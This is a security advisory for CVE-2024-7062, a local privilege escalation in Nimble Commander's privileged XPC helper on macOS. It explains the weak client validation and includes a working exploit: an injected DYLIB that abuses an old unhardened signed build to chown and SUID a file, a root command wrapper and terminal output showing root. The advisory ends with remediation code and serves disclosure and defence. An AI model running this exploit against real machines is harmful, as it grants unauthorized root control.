Skip to content

Nimble Commander <= v1.6.0, Build 4087 Local Privilege Escalation

High
mikekazakov published GHSA-f4jq-m963-6ccp Jul 24, 2024

Package

info.filesmanager.Files.PrivilegedIOHelperV2

Affected versions

<= v1.6.0, Build 4087

Patched versions

v1.6.1, Build 4088

Description

Nimble Commander <= v1.6.0, Build 4087 Local Privilege Escalation

Nimble Commander suffers from a privilege escalation vulnerability due to the server (info.filesmanager.Files.PrivilegedIOHelperV2) performing improper/insufficient validation of a client's authorization before executing an operation. Consequently, it is possible to execute system-level commands as the root user, such as changing permissions and ownership, obtaining a handle (file descriptor) of an arbitrary file, and terminating processes, among other operations.

Introduction:

When the admin mode is enabled, the tool proceeds to install an utility under the PrivilegedHelperTools directory: /Library/PrivilegedHelperTools/info.filesmanager.Files.PrivilegedIOHelperV2. This server/utility runs on-demand via launchd with root privileges.

As a result, client will contact the server (info.filesmanager.Files.PrivilegedIOHelperV2) via XPC Inter-Process Communication (IPC) whenever it needs to perform any privileged action on the operating system.

Due to the macOS security model, in factored applications where privileges are separated into different components (such as PrivilegedHelperTools), it is essential to perform thorough validation (on the server side) of the client attempting to contact it and execute a specific operation.

Server (info.filesmanager.Files.PrivilegedIOHelperV2) allowed operations:

Under normal conditions, the client has the capability to connect and send a message (dictionary - xpc_object_t) to the server, specifying the type of operation to execute. The allowed operations are described in the following structure, g_Handlers:

static constexpr frozen::unordered_map<frozen::string, bool (*)(xpc_object_t), 23> g_Handlers{
    {"heartbeat", HandleHeartbeat}, //
    {"uninstall", HandleUninstall}, //
    {"exit", HandleExit},           //
    {"open", HandleOpen},           //
    {"stat", HandleStat},           //
    {"lstat", HandleLStat},         //
    {"mkdir", HandleMkDir},         //
    {"chown", HandleChOwn},         //
    {"chflags", HandleChFlags},     //
    {"lchflags", HandleLChFlags},   //
    {"chmod", HandleChMod},         //
    {"chmtime", HandleChTime},      //
    {"chctime", HandleChTime},      //
    {"chbtime", HandleChTime},      //
    {"chatime", HandleChTime},      //
    {"rmdir", HandleRmDir},         //
    {"unlink", HandleUnlink},       //
    {"rename", HandleRename},       //
    {"readlink", HandleReadLink},   //
    {"symlink", HandleSymlink},     //
    {"link", HandleLink},           //
    {"killpg", HandleKillPG},       //
    {"trash", HandleTrash}          //
};

What each operation does is self-explanatory based on its name. The issue is that if a malicious and unauthorized client, as we will see later, successfully establishes a remote connection with the server, we can execute any of these sensitive operations (such as chmod, chown, etc.) as the root user.

Vulnerability Code Analysis - Client Validation and Authentication:

When a client attempts to establish a connection to the server via the function xpc_connection_create_mach_service(SERVICE, NULL, 0);, the server invokes two functions to validate the client: bool AllowConnectionFrom(const char * client_path) and bool CheckSignature(const char * client_path), as illustrated below:

if( !AllowConnectionFrom(client_path) || !CheckSignature(client_path) ) {
        syslog_warning("Client failed checking, dropping connection.");
        xpc_connection_cancel(_connection);
        return;
    }

If everything proceeds correctly, the server handles the event via XPC_Peer_Event_Handler(_connection, event);.

  • Vulnerability Code Analysis - CheckSignature(client_path):

static const char *g_SignatureRequirement =
    "identifier info.filesmanager.Files and "
    "certificate leaf[subject.CN] = \"Developer ID Application: Mikhail Kazakov (AC5SJT236H)\"";

SecStaticCodeRef ref = nullptr;
status = SecStaticCodeCreateWithPath(url, kSecCSDefaultFlags, &ref);

SecRequirementRef req = nullptr;
static CFStringRef reqStr = CFStringCreateWithCString(nullptr, g_SignatureRequirement, kCFStringEncodingUTF8);
status = SecRequirementCreateWithString(reqStr, kSecCSDefaultFlags, &req);

status = SecStaticCodeCheckValidity(ref, kSecCSCheckAllArchitectures, req);

syslog_notice("Called SecStaticCodeCheckValidity(), verdict: %s", status == noErr ? "valid" : "not valid");

First, we create a code requirement string with SecRequirementCreateWithString. This requires a reference (req) where it can store the "requirement reference" and a string (reqStr) representing our code requirement.

Breaking down the requirement:
The "info.filesmanager.Files" verifies the Bundle ID. Next, "certificate leaf[subject.CN] = "Developer ID Application: Mikhail Kazakov (AC5SJT236H)" verifies the Team ID.

Finally, the actual verification is performed by using our requirement and the code object using SecStaticCodeCheckValidity().

The issue arises from the fact that the application does not validate the client's version at any point, for example: "info [CFBundleShortVersionString] >= \"1.5\"". However, validating the client's version is only meaningful and useful if we know that certain versions of the client prevent injection attacks (e.g., DYLIB Injection).

If we don't want to verify the client version, we should still verify its code signing flags and ensure that it was signed with hardened runtime and/or library validation (CS_REQUIRE_LV). We will cover this procedure at the end of this report.

The issue lies in the fact that the server does not validate either the code signing flags or the client's version.

  • Vulnerability Code Analysis - AllowConnectionFrom(client_path):

static bool AllowConnectionFrom(const char *_bin_path)
{
    if( !_bin_path )
        return false;

    const char *last_sl = strrchr(_bin_path, '/');
    if( !last_sl )
        return false;

    return strcmp(last_sl, "/Nimble Commander") == 0;
}

This function validates whether the connecting client’s path ends with "/Nimble Commander".

To bypass this specific filter, it is sufficient to have a client whose name is "Nimble Commander". However, this only solves part of the issue, as if we do not have a client that meets the g_SignatureRequirement, we will not be able to interact with the server and perform arbitrary operations.

  • Vulnerability Code Analysis - Authentication:

In addition to validating the client using the AllowConnectionFrom(client_path) and CheckSignature(client_path) functions, the client must send an authentication message (dictionary - xpc_object_t) before requesting that the server perform any operation. The dictionary must contain a boolean element, where the key to access this value is called "auth". If the value of this key is not "true", the server will not process our subsequent operation:

  if( xpc_dictionary_get_value(_event, "auth") != nullptr ) {
            if( xpc_dictionary_get_bool(_event, "auth") == true ) {
                context->authenticated = true;
                send_reply_ok(_event);
            }
            else
                send_reply_error(_event, EINVAL);
            return;
        }

Client Validation Bypass - Introduction:

The latest version of the software is 1.6.0, Build 4087. If we download the image (.dmg), mount it, and analyze the code signing flags of the installer (/Volumes/Nimble\ Commander/Nimble\ Commander.app/Contents/MacOS/Nimble\ Commander), we find the following:

Executable=/Volumes/Nimble Commander/Nimble Commander.app/Contents/MacOS/Nimble Commander
Identifier=info.filesmanager.Files
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=62883 flags=0x10000(runtime) hashes=1954+7 location=embedded
Signature size=8980
Authority=Developer ID Application: Mikhail Kazakov (AC5SJT236H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=May 14, 2024 at 3:40:43 PM
Info.plist entries=35
TeamIdentifier=AC5SJT236H
Runtime Version=14.2.0
Sealed Resources version=2 rules=13 files=144
Internal requirements count=1 size=216
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.application-identifier</key><string>AC5SJT236H.info.filesmanager.Files</string><key>com.apple.developer.team-identifier</key><string>AC5SJT236H</string><key>com.apple.security.automation.apple-events</key><true/></dict></plist>

Although the client meets the (g_SignatureRequirement) criterion, we cannot exploit it to inject code and interact with the server to execute arbitrary commands because the binary is signed with "Hardened Runtime". Therefore, it benefits from the same protections as a binary protected by SIP (rootless).

However, what if we can find a version of the application installer that is signed with the certificate (Mikhail Kazakov - Team ID: AC5SJT236H) and has a Bundle ID of info.filesmanager.Files, but is not signed with "Hardened Runtime"?

If we check the list of releases available at https://magnumbytes.com/downloads/releases/old/, we will find a binary with Hardened Runtime disabled:

nimble-commander-1.1.2(1621).dmg	2016-08-25 00:22	4.0M	 
nimble-commander-1.1.3(1695).dmg	2016-07-27 01:25	4.0M	 
nimble-commander-1.1.5(1812).dmg	2016-09-29 04:20	4.9M	 
nimble-commander-1.2.0(2085).dmg	2017-03-10 20:35	5.0M	 
.
.
<SNIP>
.
.	 
nimble-commander-1.3.0(3711).dmg	2021-10-16 17:17	10M	 
nimble-commander-1.4.0(3883).dmg	2022-12-25 14:11	10M	 
nimble-commander-1.5.0(3981).dmg	2023-12-18 12:52	9.4M	 

If we take the version 1.1.2, Build 1621 (nimble-commander-1.1.2(1621).dmg) and validate the code signing flags of the installer (/Volumes/Nimble Commander/Nimble Commander.app/Contents/MacOS/Nimble Commander), we will find the following:

Executable=/Volumes/Nimble Commander/Nimble Commander.app/Contents/MacOS/Nimble Commander
Identifier=info.filesmanager.Files
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=34871 flags=0x0(none) hashes=1082+5 location=embedded
Signature size=8918
Authority=Developer ID Application: Mikhail Kazakov (AC5SJT236H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=Jun 4, 2016 at 7:58:58 AM
Info.plist entries=29
TeamIdentifier=AC5SJT236H
Sealed Resources version=2 rules=12 files=99
Internal requirements count=1 size=216
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict></dict></plist>

As we can observe, this version of the binary (1.1.2) was signed with the same certificate as the latest version released to date (1.6.0), with the exception that version 1.1.2 was not signed (flags=0x0) with "Hardened Runtime". This means we can use this version of the client to inject malicious code, effectively using it as an intermediary to contact the server - PrivilegedHelperTool utility (info.filesmanager.Files.PrivilegedIOHelperV2 - version 1.6.0) and execute arbitrary operations that may allow us to escalate to root.

Additionally, by using version 1.1.2, we can logically bypass the validation performed by the previously explained function, AllowConnectionFrom(client_path).

Client Validation Bypass - Exploit:

  • Dynamic Library (DYLIB):

To exploit the server latest version (1.6.0), we will create a library (DYLIB) to be injected into the client that was not signed (flags=0x0) with "Hardened Runtime" (1.1.2). As a result, we will establish a successful remote connection with the server. In our case, we will execute three operations:

  1. Authentication.
  2. Change the user and group (chown) owners of a file.
  3. Assign SUID permissions (chmod) to the file.
#include <stdio.h>
#include <xpc/xpc.h>

#define SERVICE  "info.filesmanager.Files.PrivilegedIOHelperV2"


__attribute__((constructor))
static void privesc()
{

printf("[+] Nimble Commander - macOS Local Privilege Escalation Exploit:\n\n");

// Change permissions (suid) operation array declaration
xpc_object_t chmod_operation = xpc_dictionary_create(NULL, NULL, 0);

// Change owner (chown) array declaration
xpc_object_t chown_operation = xpc_dictionary_create(NULL, NULL, 0);

// Authentication array declaration
xpc_object_t authentication = xpc_dictionary_create(NULL, NULL, 0);

// Authentication array definition
xpc_dictionary_set_bool(authentication, "auth", true);

// Change Owner (chown) operation array definition
xpc_dictionary_set_string(chown_operation, "operation", "chown");
xpc_dictionary_set_string(chown_operation, "path", "/Users/garrido/Research/privesc");
xpc_dictionary_set_int64(chown_operation, "uid", 0);
xpc_dictionary_set_int64(chown_operation, "gid", 0);

// Change permissions (suid) operation array definition
xpc_dictionary_set_string(chmod_operation, "operation", "chmod");
xpc_dictionary_set_string(chmod_operation, "path", "/Users/garrido/Research/privesc");
xpc_dictionary_set_int64(chmod_operation, "mode", 04755);

xpc_connection_t conn = xpc_connection_create_mach_service(SERVICE, NULL, 0);

xpc_connection_set_event_handler(conn, ^(xpc_object_t event){

	printf("[+] Received Message on generic handler\n");
	printf("%s\n", xpc_copy_description(event));

});

xpc_connection_resume(conn);

xpc_connection_send_message_with_reply(conn, authentication, NULL, ^(xpc_object_t event){
	
	printf("[+] Authentication Message: %p\n", event);
	printf("[+] Authentication Description: %s\n", xpc_copy_description(event));
	BOOL response = xpc_dictionary_get_bool(event, "ok");
	printf("[+] Authentication results: %hhd\n\n", response);
	
	xpc_connection_send_message_with_reply(conn, chown_operation, NULL, ^(xpc_object_t event)
	{
		printf("[+] Change Owner - chown [HandleChOwn]  Message: %p\n", event);
		printf("[+] Change Owner  - chown [HandleChOwn] Description: %s\n", xpc_copy_description(event));
		BOOL response = xpc_dictionary_get_bool(event, "ok");
		printf("[+] Change Owner - chown [HandleChOwn] results: %hhd\n\n", response);
	});	

	xpc_connection_send_message_with_reply(conn, chmod_operation, NULL, ^(xpc_object_t event)
	{
		printf("[+] Change permissions - suid [HandleChMod] Message: %p\n", event);
		printf("[+] Change permissions - suid [HandleChMod] Description: %s\n", xpc_copy_description(event));
		BOOL response = xpc_dictionary_get_bool(event, "ok");
		printf("[+] Change permissions - suid [HandleChMod] results: %hhd\n\n", response);

	});

});

sleep(10);

}
  • SUID Binary:

The target binary (privesc), for which the server (info.filesmanager.Files.PrivilegedIOHelperV2) will assign SUID permissions, as well as set the root user and the wheel group as owners, will be one that executes arbitrary system commands via the execvp function:

#include <stdio.h>
#include <unistd.h>

int main(int argc, char ** argv)
{
printf("[+] EUID: %d\n", geteuid());
execvp(argv[1], &argv[1]); 
return 0;
}

Client Validation Bypass - Privilege Escalation:

garrido@Garridos-MacBook-Air Research % ls -l privesc
-rwxr-xr-x  1 garrido  staff  49520 Jul 21 15:24 privesc
garrido@Garridos-MacBook-Air Research % ./privesc whoami
[+] EUID: 501
garrido
garrido@Garridos-MacBook-Air Research % DYLD_INSERT_LIBRARIES=NimbleCommander3.dylib /Volumes/Nimble\ Commander/Nimble\ Commander.app/Contents/MacOS/Nimble\ Commander
[+] Nimble Commander - macOS Local Privilege Escalation Exploit:

[+] Authentication Message: 0x600002990000
[+] Authentication Description: <dictionary: 0x600002990000> { count = 1, transaction: 0, voucher = 0x0, contents =
	"ok" => <bool: 0x7ff848d0e190>: true
}
[+] Authentication results: 1

[+] Change Owner - chown [HandleChOwn]  Message: 0x600002998000
[+] Change Owner  - chown [HandleChOwn] Description: <dictionary: 0x600002998000> { count = 1, transaction: 0, voucher = 0x0, contents =
	"ok" => <bool: 0x7ff848d0e190>: true
}
[+] Change Owner - chown [HandleChOwn] results: 1

[+] Change permissions - suid [HandleChMod] Message: 0x600002998000
[+] Change permissions - suid [HandleChMod] Description: <dictionary: 0x600002998000> { count = 1, transaction: 0, voucher = 0x0, contents =
	"ok" => <bool: 0x7ff848d0e190>: true
}
[+] Change permissions - suid [HandleChMod] results: 1

^C
garrido@Garridos-MacBook-Air Research % ls -l privesc   
-rwsr-xr-x  1 root  wheel  49520 Jul 21 15:24 privesc
garrido@Garridos-MacBook-Air Research % ./privesc whoami
[+] EUID: 0
root

Remediation:

With this code, we are able to retrieve a dictionary (csInfo)containing all code signing information using SecCodeCopySigningInformation. From csInfo, we extract the code signing flags (csFlags)with kSecCodeInfoStatus key.

CFDictionaryRef csInfo = NULL;

SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);

uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];

const uint32_t cs_require_lv = 0x2000; // Library validation.
const uint32_t cs_kill = 0x200; // Kill process if page is not valid.
const uint32_t cs_restrict = 0x800; // Prevent debugging.
const uint32_t cs_runtime = 0x10000; // Hardened runtime.
const uint32_t cs_hard = 0x100; // Do not load invalid pages.

if ((csFlags & (cs_runtime | cs_require_lv)))
{
    return Yes; //Accept connection.
}

We can also retrieve the entitlements from the csInfo dictionary:

We retrieve the entitlements from a sub-dictionary with the entitlements-dict key.

CFDictionaryRef csInfo = NULL;

SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);

NSDictionary * signingDic = CFBridgingRelease(csInfo);

NSDictionary * entitlementsDic = [signingDic objectForKey:@"entitlements-dict"];
  • Important: We can use the same steps to verify code signature when we use the classic C API for XPC Connections.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-7062

Weaknesses

Credits